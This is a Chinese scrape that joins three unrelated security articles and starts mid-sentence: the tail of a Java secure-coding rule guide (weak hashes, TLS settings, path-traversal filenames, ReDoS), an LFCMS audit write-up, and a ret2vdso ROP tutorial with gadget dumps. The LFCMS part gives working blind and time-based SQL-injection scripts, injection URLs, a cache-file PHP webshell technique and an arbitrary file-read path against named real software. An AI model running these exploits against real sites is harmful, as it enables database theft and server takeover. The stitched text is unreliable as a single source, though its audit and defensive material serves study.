），这种攻击能在一个小时之内找到两个前缀相同的哈希，只要现有计算机的计算水平就可以达到。
**"SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, and SHA-512/256:**
所有散列计算程序都支持这些哈希函数的使用。
NISI:通信传输：[传输中建议使用的加密算法和密钥长度](<http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf）>
PBKDF的主要思想是减缓字典生成的时间或者增加攻击者攻击每一个密码的时间。攻击者会有一个密码表去爆破PBKDF所使用的迭代计数器和salt。因为攻击者必须花费大量的计算时间去尝试破解每一个密码，所以攻击者很难用字典攻击和爆破攻击去获得成功。
NISI:[基于密码的密钥的加密建议](http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf)
有漏洞的代码：
MessageDigest md5Digest = MessageDigest.getInstance("MD5");
md5Digest.update(password.getBytes());
byte[] hashValue = md5Digest.digest();
解决方案：
public static byte[] getEncryptedPassword(String password, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException {
PKCS5S2ParametersGenerator gen = new PKCS5S2ParametersGenerator(new SHA256Digest());
gen.init(password.getBytes("UTF-8"), salt.getBytes(), 4096);
return ((KeyParameter) gen.generateDerivedParameters(256)).getKey();
}
解决方案（java 8 和之后的版本）
public static byte[] getEncryptedPassword(String password, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 4096, 256 * 8);
SecretKeyFactory f = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
return f.generateSecret(spec).getEncoded();
}
引用：
[1] [On Collisions for
MD5](http://www.win.tue.nl/hashclash/On%20Collisions%20for%20MD5%20-%20M.M.J.%20Stevens.pdf):
Master Thesis by M.M.J. Stevens
[2] [Chosen-prefix collisions for MD5 and
applications](http://homepages.cwi.nl/~stevens/papers/stJOC%20-%20Chosen-Prefix%20Collisions%20for%20MD5%20and%20Applications.pdf): Paper written by
Marc Stevens
Wikipedia: MD5
[NIST: Transitions: Recommendation for Transitioning the Use of Cryptographic
Algorithms and Key
Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf)
[NIST: Recommendation for Password-Based Key
Derivation](http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf)
[Stackoverflow: Reliable implementation of PBKDF2-HMAC-SHA256 for Java
](https://stackoverflow.com/q/22580853/89769)
[CWE-327: Use of a Broken or Risky Cryptographic
Algorithm](http://cwe.mitre.org/data/definitions/327.html)
# SHA-1 是脆弱的哈希算法
漏洞特征： WEAK_MESSAGE_DIGEST_SHA1
不建议使用SHA-1算法去加密密码、做数字签名和其他用途。应该使用PBKDF2作为密码的摘要算法。
**“SHA-1用于生成电子签名：**
SHA-1可能仅仅用于NIST指导的特殊协议的电子签名的生成。但是在其他的应用中，SHA-1 不应该用于电子签名
**SHA-1用于电子签名的验证：**
对于电子签名的验证，SHA-1可以被用于传统应用
**"SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, and SHA-512/256:**
所有散列计算程序都支持这些哈希函数的使用。
NISI:通信传输：[传输中建议使用的加密算法和密钥长度](<http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf）>
PBKDF的主要思想是减缓字典生成的时间或者增加攻击者攻击每一个密码的时间。攻击者会有一个密码表去爆破PBKDF所使用的迭代计数器和salt。因为攻击者必须花费大量的计算时间去尝试破解每一个密码，所以攻击者很难用字典攻击和爆破攻击去获得成功。
NISI:[基于密码的密钥的加密建议](http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf)
有漏洞的代码：
MessageDigest sha1Digest = MessageDigest.getInstance("SHA1");
sha1Digest.update(password.getBytes());
byte[] hashValue = sha1Digest.digest();
byte[] hashValue = DigestUtils.getSha1Digest().digest(password.getBytes());
解决方案：
public static byte[] getEncryptedPassword(String password, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException {
PKCS5S2ParametersGenerator gen = new PKCS5S2ParametersGenerator(new SHA256Digest());
gen.init(password.getBytes("UTF-8"), salt.getBytes(), 4096);
return ((KeyParameter) gen.generateDerivedParameters(256)).getKey();
}
解决方案（java 8 及以后的版本）
public static byte[] getEncryptedPassword(String password, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 4096, 256 * 8);
SecretKeyFactory f = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
return f.generateSecret(spec).getEncoded();
}
引用：
[Qualys blog: SHA1 Deprecation: What You Need to
Know](https://community.qualys.com/blogs/securitylabs/2014/09/09/sha1-deprecation-what-you-need-to-know)
[Google Online Security Blog: Gradually sunsetting
SHA-1](https://googleonlinesecurity.blogspot.ca/2014/09/gradually-sunsetting-sha-1.html)
[NIST: Transitions: Recommendation for Transitioning the Use of Cryptographic
Algorithms and Key
Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf)
[NIST: Recommendation for Password-Based Key
Derivation](http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf)
[Stackoverflow: Reliable implementation of PBKDF2-HMAC-SHA256 for
Java](https://stackoverflow.com/q/22580853/89769)
[CWE-327: Use of a Broken or Risky Cryptographic
Algorithm](http://cwe.mitre.org/data/definitions/327.html)
# DefaultHttpClient的默认构造函数与TLS 1.2不兼容
漏洞特征： DEFAULT_HTTP_CLIENT
有漏洞的代码：
HttpClient client = new DefaultHttpClient();
解决方案：
用建议的构造函数去升级你的代码并且配置jvm中https.protocols选项，使其包含TLSv1.2:
使用SystemDefaultHttpClient 代替
* 示例代码：
HttpClient client = new SystemDefaultHttpClient();
* 基于SSLSocketFactory类创建一个HttpClient，通过 [getSystemSocketFactory()](https://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/conn/ssl/SSLSocketFactory.html#getSystemSocketFactory\()) 获得一个SSLScoketFactory实例，用这个实例去初始化一个HttpClient
* 基于SSLConnectionSocketFactory类创建一个HttpClient，通过 [getSystemSocketFactory()](https://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/conn/ssl/SSLSocketFactory.html#getSystemSocketFactory\()) 获得一个SSLScoketFactory实例，用这个实例去初始化一个HttpClient
* 使用HttpClientBuilder，在调用build()之前调用useSystemProperties()
示例代码：
HttpClient client = HttpClientBuilder.create().useSystemProperties().build();
* HttpClients,调用 createSystem()去创建一个实例
示例代码：
HttpClient client = HttpClients.createSystem();
引用：
[Diagnosing TLS, SSL, and HTTPS](https://blogs.oracle.com/java-platform-group/entry/diagnosing_tls_ssl_and_https)
# 脆弱的SSLContext
漏洞特征： SSL_CONTEXT
有漏洞的代码：
SSLContext.getInstance("SSL");
解决方案：
用下面的代码升级你的代码，并且配置jvm的https.protocols选项，使其包含TLSv1.2
SSLContext.getInstance("TLS");
引用：
[Diagnosing TLS, SSL, and HTTPS](https://blogs.oracle.com/java-platform-group/entry/diagnosing_tls_ssl_and_https)
# 习惯使用的信息摘要算法
自己实现消息摘要算法是不靠谱的。
[NIST](http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html)建议使用SHA-224,
SHA-256, SHA-384, SHA-512, SHA-512/224, or SHA-512/256。
**“SHA-1用于生成电子签名：**
SHA-1可能仅仅用于NIST指导的特殊协议的电子签名的生成。但是在其他的应用中，SHA-1 不应该用于电子签名
**SHA-1用于电子签名的验证：**
对于电子签名的验证，SHA-1可以被用于传统应用
**"SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, and SHA-512/256:**
所有散列计算程序都支持这些哈希函数的使用。
NISI:通信传输：[传输中建议使用的加密算法和密钥长度](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf)
有漏洞的代码：
MyProprietaryMessageDigest extends MessageDigest {
@Override
protected byte[] engineDigest() {
[...]
//Creativity is a bad idea
return [...];
}
}
使用其中一种信息摘要算法去升级你的代码。这些算法非常强大，能足够满足你的安全需求。
解决方案示例：
MessageDigest sha256Digest = MessageDigest.getInstance("SHA256");
sha256Digest.update(password.getBytes());
引用：
[NIST Approved Hashing
Algorithms](http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html)
[CWE-327: Use of a Broken or Risky Cryptographic
Algorithm](http://cwe.mitre.org/data/definitions/327.html)
# 读取文件的缺陷
漏洞特征： FILE_UPLOAD_FILENAME
通过篡改FileUpload API 提供的文件名，客户端可以任意访问系统中的文件
比如：
"../../../config/overide_file"
"shell.jsp\u0000expected.gif"
所以，上面的这些值应该没有做任何过滤就直接进入到了文件系统api之中。如果可能，应用应该生成自己的文件名，并且使用它们。
即使这样，被提供的文件名也要去验证它们的有效性，以确保它们没有包含未授权的路径（比如./\\)和未授权的文件。
引用：
[Securiteam: File upload security
recommendations](http://blogs.securiteam.com/index.php/archives/1268)
[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')](http://cwe.mitre.org/data/definitions/22.html)
[WASC-33: Path
Traversal](http://projects.webappsec.org/w/page/13246952/Path%20Traversal)
[OWASP: Path Traversal](https://www.owasp.org/index.php/Path_Traversal)
[CAPEC-126: Path Traversal](http://capec.mitre.org/data/definitions/126.html)
[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal') ](http://cwe.mitre.org/data/definitions/22.html)
# 正则dos
漏洞特征： REDOS
正则表达式(regexs)经常导致拒绝服务攻击（(DOS)。这是因为当正则表达式引擎分析一些字符串的时候会消耗大量的时间，而这也取决于正则是怎么写的。
比如，对于正则`^(a+)+$`,如果输入"aaaaaaaaaaaaaaaaX"，就会让正则表达式引擎分析65536种不同的路径。
所以，可能只要客户端发送一个请求就可以让服务器端消耗巨大的计算资源。问题可能就是类似于这样的正则表达式，由于括号内的+ (or a _)和括号外的+ (or
a_ )
，当输入相同字符串的时候，可能会有两种不同的处理方式。以这样的方式去写正则，+号会消耗字符'a'。为了修复这样问题，正则表达式应该被重写，目的是消除歧义.比如，上面那个有问题的正则表达式就可以被改写为`^a+$`，无论如何，这可能是作者的意思。总之，这可能是原来正则表达式的意思，这个新正则表达式会更快的匹配字符串，并且也不会受到ReDos攻击。
引用：
[Sebastian Kubeck's Weblog: Detecting and Preventing ReDoS
Vulnerabilities](http://www.jroller.com/sebastianKuebeck/entry/detecting_and_preventing_redos_vulnerabilities)
[1] [OWASP: Regular expression Denial of
Service](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)
[CWE-400: Uncontrolled Resource Consumption ('Resource
Exhaustion')](http://cwe.mitre.org/data/definitions/400.html) | 社区文章 |
# 前言
最近想着提升一下审计代码的能力，于是找了一些小众的`CMS`系统来审计一下，希望可以在审计过程中对MVC设计模式的程序有更深的理解，本文挑选了一个小众的影视管理系统`LFCMS`，下载地址见文末
# 漏洞分析
## 前台sql注入（一）
该处前台注入点实质上是由于程序所采用的框架漏洞所导致的，程序采用了`thinkphp3.2.2`，众所周知该版本的`tp`框架存在`sql`注入，详细分析文章可以参考下面的链接:
<https://xz.aliyun.com/t/2629>
回到lfcms，漏洞起始点位于`/Application/Home/Controller/NewsController.class.php`中的`index`方法，代码如下
在代码第六行调用了`News`模型中的`detail`方法，跟进该方法
可以看到在第八行进而调用了`tp`的`find`方法，在该版本中`find`方法是可以进行注入的，同时参数`$id`是我们可控的，首先我们来看一下正常的输入情况(图中域名为本地搭建解析)
根据`tp3.2`的注入点构造一下语句，访问如下链接
http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and 1--
页面与正常访问相比没有变化，查看一下数据库日志，看下后端数据库语句
可以看到在`id`处已经可以进行`sql`语句的拼接，也就证明该处是存在可利用的注入点的，由于本套程序对于错误信息是有屏蔽的，在这里我们很难利用报错注入带出数据，在该处可以考虑使用布尔类型的盲注，两种回显状态如下
接着写一下脚本（以查询数据库名为例）
import requests
url = 'http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and '
result = ''
for i in range(1,50):
print('-----------------------------')
for j in range(32,127):
payload = 'if((ascii(substr((select database()),{},1))={}),1,0)--'.format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if 'tttest' in html.text:
result+=chr(j)
print(result)
break
except:
print('[-]error')
结果如下
相同原理的利用点还有很多，如位于`/Application/Home/Controller/MovieController.class.php`中的`index`方法的`id`参数，这里就不再重复分析了
## 前台SQL注入（二）
漏洞起始点位于`/Application/Home/Controller/AjaxController.class.php`文件中的`randMovie`方法，代码如下
第七行代码中调用了`Ajax`模型中的`randMovie`方法，同时`limit`和`category`是我们输入的可控的参数，跟进`randMovie`方法
public function randMovie($limit=6,$category='') {
if($category) {
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value) {
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}
在这里注意到`$type`与`$limit`在`sql`语句执行时均没有被单引号包裹，直接拼接到语句当中，这里就存在了sql注入的可能，首先我们在`movie`表里放一条数据，看一下正常执行时sql语句是如何执行的
查看数据库日志可以得到如下`sql`语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1
接着来尝试下进行注入，测试链接如下
http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)
页面确实延迟了5秒，那么接着看一下后端数据库的语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1
基本可以判断该处存在着可用的注入点，接下来编写脚本跑一下数据库用户名试试
import requests
url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""
for i in range(1,50):
print('==========================')
for j in range(32,127):
payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j)
temp = url+payload
try:
s.get(temp,timeout=5)
except:
result+= chr(j)
print(result)
break
相同原理的利用点同样不止一个，如`/Application/Home/Controller/PlayerController.class.php`文件中的`down`方法调用了模型`movie`中的`getPlayerUrl`方法，该方法的`pid`参数同样可以注入
## 后台getshell
该漏洞可以利用的原因一是在于后台对于站点配置数据没有做好过滤，二是利用了tp3.2版本下本身存在的缓存漏洞，漏洞起始利用点位于`/Application/Admin/Controller/ConfigController.class.php`中的`save`方法，代码如下
该处将后台设置的配置项直接存储在数据库中，接着当用户访问站点前台页面时，会调用`/Application/Home/Controller/HomeController.class.php`中的`_initialize`方法，部分代码如图
当第一次访问时，会调用第二十一行的缓存函数写缓存文件，在这里如果在设置配置数据的时候写入恶意的`PHP`代码，就可以在缓存文件中写入我们想要执行的代码，进而`getshell`，首先我们来到后台用户配置设置处
提交数据抓取数据包，在其中一个设置项中填入`php`代码，由于缓存文件对于配置项进行了注释，为了逃逸注释我们需要另起一行写入`PHP`代码并将后面的无用数据注释掉，如图
然后访问前台页面生成缓存文件，缓存文件在`/Application/Runtime/Temp/`目录下，文件名为缓存数据名称的`MD5`值，在这里也就是`DB_CONFIG_DATA`的`MD5`值，我们直接访问缓存文件
http://lfcms.com/Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php
成功的写入了`PHP`代码
## 任意文件读取
漏洞起始点位于`/Application/Admin/Controller/TemplateController.class.php`中的`edit`方法，该方法用作后台模板编辑，关键代码如下
我们传入的路径需要将`/`替换为`*`接着调用了`read`方法，跟进该方法
public function read($filename,$type=''){
return $this->get($filename,'content',$type);
}
继续跟进get方法
public function get($filename,$name,$type='') {
if(!isset($this->contents[$filename])) {
if(!is_file($filename)) return false;
$this->contents[$filename]=file_get_contents($filename);
}
$content=$this->contents[$filename];
$info = array(
'mtime' => filemtime($filename),
'content' => $content
);
return $info[$name];
}
}
该方法中返回了要读取的文件内容，可以看到在整个流程中没有对传入参数`path`的过滤，导致我们可以跨目录读文件，下面来验证一下，尝试读取一下跟目录`index.php`文件，测试链接如下
http://lfcms.com/admin.php?s=/Template/edit/path/*..*index.php
成功的读到了`CMS`的入口文件
# 参考链接
源码下载：<https://www.mycodes.net/47/8132.htm>
<https://xz.aliyun.com/t/2629>
<https://blog.csdn.net/qq_35669659/article/details/89372025> | 社区文章 |
对ret2vdso总结了一下，附上了实验数据，ret2vdso更多的出现在32位的程序中。
实验文件都在附件中 。
## 前导知识
### vdso
传统的int 0x80有点慢, Intel和AMD分别实现了sysenter/sysexit和syscall/ sysret, 即所谓的快速系统调用指令,
使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定.
而vsyscall的实现就在VDSO中。
> 简单来说，可以把vdso看成一个.so动态库链接文件，但是不同的内核，vdso的内容也是不同的。
### vdso_x64
先看看内置了什么函数：
ex@Ex:~/test$ objdump -T vdso_x64.so
vdso_x64.so: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000a30 w DF .text 0000000000000305 LINUX_2.6 clock_gettime
0000000000000d40 g DF .text 00000000000001c1 LINUX_2.6 __vdso_gettimeofday
0000000000000d40 w DF .text 00000000000001c1 LINUX_2.6 gettimeofday
0000000000000f10 g DF .text 0000000000000015 LINUX_2.6 __vdso_time
0000000000000f10 w DF .text 0000000000000015 LINUX_2.6 time
0000000000000a30 g DF .text 0000000000000305 LINUX_2.6 __vdso_clock_gettime
0000000000000000 g DO *ABS* 0000000000000000 LINUX_2.6 LINUX_2.6
0000000000000f30 g DF .text 000000000000002a LINUX_2.6 __vdso_getcpu
0000000000000f30 w DF .text 000000000000002a LINUX_2.6 getcpu
再看看有什么可用的指令：
ex@Ex:~/test$ ROPgadget --binary vdso_x64.so
Gadgets information
============================================================
0x00000000000008b8 : adc byte ptr [r11], r8b ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008b9 : adc byte ptr [rbx], al ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x000000000000098b : add bl, byte ptr [rbp - 0x3d] ; mov rax, rdx ; pop rbp ; ret
0x0000000000000a23 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000000a25 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000000008be : add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008bb : add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000a18 : add eax, 0xffffc66b ; pop rbp ; ret
0x00000000000008ba : add eax, dword ptr [rdx] ; jbe 0x91d ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000c23 : add edx, eax ; jmp 0xbb4
0x0000000000000c22 : add r10, rax ; jmp 0xbb5
0x0000000000000d78 : and al, 0xf6 ; ret
0x0000000000000f52 : call 0x3106986a
0x0000000000000b26 : call 0xffffffffc9ff487c
0x0000000000000aab : clc ; ret
0x0000000000000d84 : cld ; ret 0xffff
0x0000000000000a16 : cmovae eax, dword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000a15 : cmovae rax, qword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000988 : cmp edx, eax ; ja 0x993 ; pop rbp ; ret
0x0000000000000987 : cmp rdx, rax ; ja 0x994 ; pop rbp ; ret
0x0000000000000986 : dec dword ptr [rax + 0x39] ; ret 0x277
0x0000000000000c1d : dec dword ptr [rax + 0xf] ; scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000ec5 : dec dword ptr [rcx + 0x16158b16] ; ret 0xffff
0x0000000000000c1f : imul eax, edx ; add r10, rax ; jmp 0xbb8
0x0000000000000c1e : imul rax, rdx ; add r10, rax ; jmp 0xbb9
0x000000000000098a : ja 0x991 ; pop rbp ; ret
0x00000000000008bc : jbe 0x91b ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000f1e : je 0xf29 ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000fdf : jmp qword ptr [rdi]
0x0000000000000aa9 : lea esp, dword ptr [rdx - 8] ; ret
0x0000000000000aa8 : lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000a21 : mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f21 : mov dword ptr [rdi], eax ; pop rbp ; ret
0x0000000000000f54 : mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x000000000000098f : mov eax, edx ; pop rbp ; ret
0x0000000000000f1c : mov ebp, esp ; je 0xf2b ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000f20 : mov qword ptr [rdi], rax ; pop rbp ; ret
0x000000000000098e : mov rax, rdx ; pop rbp ; ret
0x0000000000000f1b : mov rbp, rsp ; je 0xf2c ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000aa3 : pop r13 ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa5 : pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x00000000000008bd : pop rax ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000aa7 : pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa4 : pop rbp ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x000000000000098c : pop rbp ; ret
0x0000000000000aa6 : pop rsi ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000f3f : push qword ptr [rdx + rcx - 0x77] ; ret 0xe281
0x00000000000008c1 : ret
0x0000000000000c21 : ret 0x149
0x0000000000000989 : ret 0x277
0x0000000000000b3c : ret 0x4801
0x0000000000000e64 : ret 0x53e9
0x0000000000000c24 : ret 0x8ceb
0x0000000000000c4e : ret 0xc2e9
0x0000000000000f43 : ret 0xe281
0x0000000000000d85 : ret 0xffff
0x0000000000000a20 : rol bh, 7 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000000090f : ror dword ptr [rdx], 1 ; ret
0x0000000000000c20 : scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000f51 : shr eax, 0xc ; mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x0000000000000a1f : xor eax, eax ; mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f56 : xor eax, eax ; pop rbp ; ret
Unique gadgets found: 62
ex@Ex:~/test$
总共62条，总体来说，可以利用的指令还是很少的。
### vdso_x86
但是32位的话，就截然不同了。
ex@Ex:~/test$ objdump -T vdso_x86.so
vdso_x86.so: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00001050 g DF .text 0000000d LINUX_2.5 __kernel_vsyscall
00000d50 g DF .text 000002b2 LINUX_2.6 __vdso_gettimeofday
00001070 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn
00001010 g DF .text 00000028 LINUX_2.6 __vdso_time
00000000 g DO *ABS* 00000000 LINUX_2.5 LINUX_2.5
00001080 g DF .text 00000008 LINUX_2.5 __kernel_rt_sigreturn
00000820 g DF .text 0000052f LINUX_2.6 __vdso_clock_gettime
00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6
有现成的`__kernel_rt_sigreturn`调用可以用来`SROP`。
再来看看其指令：
ex@Ex:~/test$ ROPgadget --binary vdso_x86.so
Gadgets information
============================================================
0x00000817 : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e4 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x00000619 : adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x00001039 : add al, 0x24 ; ret
0x0000061b : add al, 0x47 ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x0000107f : add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e3f : add byte ptr [eax], al ; add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001074 : add byte ptr [eax], al ; int 0x80
0x0000107e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e40 : add byte ptr [ebx + 0x5e5b5cc4], al ; pop edi ; pop ebp ; ret
0x000010ab : add byte ptr [ebx], al ; add eax, dword ptr [ebx] ; ret
0x00001032 : add cl, byte ptr [ecx - 0x3ca2a4f6] ; mov eax, dword ptr [esp] ; ret
0x000010ad : add eax, dword ptr [ebx] ; ret
0x000007e2 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000815 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e41 : add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000967 : add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087c : add esp, 0x6c ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103e : and al, 0xc3 ; mov ebx, dword ptr [esp] ; ret
0x0000103a : and al, 0xc3 ; mov ecx, dword ptr [esp] ; ret
0x00001042 : and al, 0xc3 ; mov edi, dword ptr [esp] ; ret
0x00000801 : and byte ptr [edi], cl ; inc ebp ; ret 0x450f
0x0000073c : call 0x1046
0x00001141 : call 0x340ff6d2
0x000007d5 : call dword ptr [ecx]
0x000007f0 : cli ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001045 : cmp al, 0x24 ; ret
0x0000071f : cmp esi, eax ; ja 0x71e ; pop esi ; pop edi ; pop ebp ; ret
0x000007cf : dec dword ptr [ebx - 0x32c37d] ; call dword ptr [ecx]
0x00001030 : enter 0x274, -0x77 ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00000974 : fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000722 : hlt ; pop esi ; pop edi ; pop ebp ; ret
0x00001143 : in eax, 0xf ; xor al, 0x89 ; int 0xf
0x00001054 : in eax, 0xf ; xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000973 : inc ebp ; fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000803 : inc ebp ; ret 0x450f
0x00000620 : inc ecx ; ret 0x80e
0x0000061c : inc edi ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000969 : insb byte ptr es:[edi], dx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087e : insb byte ptr es:[edi], dx ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001057 : int 0x80
0x00001147 : int 0xf
0x00001072 : ja 0x1078 ; add byte ptr [eax], al ; int 0x80
0x00000721 : ja 0x71c ; pop esi ; pop edi ; pop ebp ; ret
0x000007e0 : jb 0x7f3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000715 : jbe 0x728 ; mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x00001031 : je 0x103b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x0000061d : lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000968 : les ebp, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x0000087d : les ebp, ptr [ecx + esi - 0x40] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e42 : les ebx, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x000007e3 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x00000816 : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000113f : lfence ; mov ebp, esp ; sysenter
0x0000113c : mfence ; lfence ; mov ebp, esp ; sysenter
0x00001033 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00001071 : mov eax, 0x77 ; int 0x80
0x00001080 : mov eax, 0xad ; int 0x80
0x00001038 : mov eax, dword ptr [esp] ; ret
0x0000102f : mov eax, ecx ; je 0x103d ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000717 : mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ed : mov eax, esi ; mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001053 : mov ebp, esp ; sysenter
0x00001040 : mov ebx, dword ptr [esp] ; ret
0x00000965 : mov ebx, edx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103c : mov ecx, dword ptr [esp] ; ret
0x00001044 : mov edi, dword ptr [esp] ; ret
0x00000719 : mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ef : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
